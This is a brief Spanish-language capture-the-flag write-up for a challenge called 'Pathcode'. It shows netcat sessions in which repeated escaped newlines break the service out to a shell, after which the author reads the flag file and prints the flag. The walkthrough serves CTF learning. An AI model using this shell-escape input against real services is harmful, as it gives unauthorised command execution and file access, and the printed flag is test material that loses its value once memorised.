Pathcode

```
pathcode
Back to challenges
150 points - First solved by Chunithm124, 100 solves in total - 59.7% positive votes

This challenge is in maintenance mode.
We've received reports of problems with this challenge which we are investigating. Participants are still free to attempt the challenge but may experience issues locating or submitting the solution.

IP: 34.64.203.138
Port: 10006
```

Nos dan una IP y Puerto para conectarnos al desafio

```
francisco@francisco-B450-AORUS-M:~$ nc 34.64.203.138 10006
TEST TEST
TEST TEST
escape yourself

If you can

Do you know a passcode?

Your code is TEST TEST
@/p+4
You can't escape here. kkkkkkkkkk
```

El desafio nos deja ingresar 2 veces un string, luego repite el codigo y al parecer lo encripta de alguna forma. No se nos proporciono el codigo fuente, ni un archivo al cual poder hacer un objdump -t asi que se podria asumir que la solucion no es demasiado compleja.

Como el desafio dice mucho "escape", voy a probar escapar con \n todo lo posible

```
francisco@francisco-B450-AORUS-M:~$ nc 34.64.203.138 10006
\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n
test?
/bin/sh: 1: test?: not found
```

Al escapar, se escapo literalmente a la consola del desafio. Por ende, buscamos la flag (que luego de buscarla, sabemos que esta en /home/ctf/flag)



cd home/ctf cat flag T3N4CI0US{dkf347324786efslkhaflkjhfdgdkhflkj1534fdaaf}

Flag: T3N4CIOUS{dkf347324786efslkhaflkjhfdgdkhflkj1534fdaaf}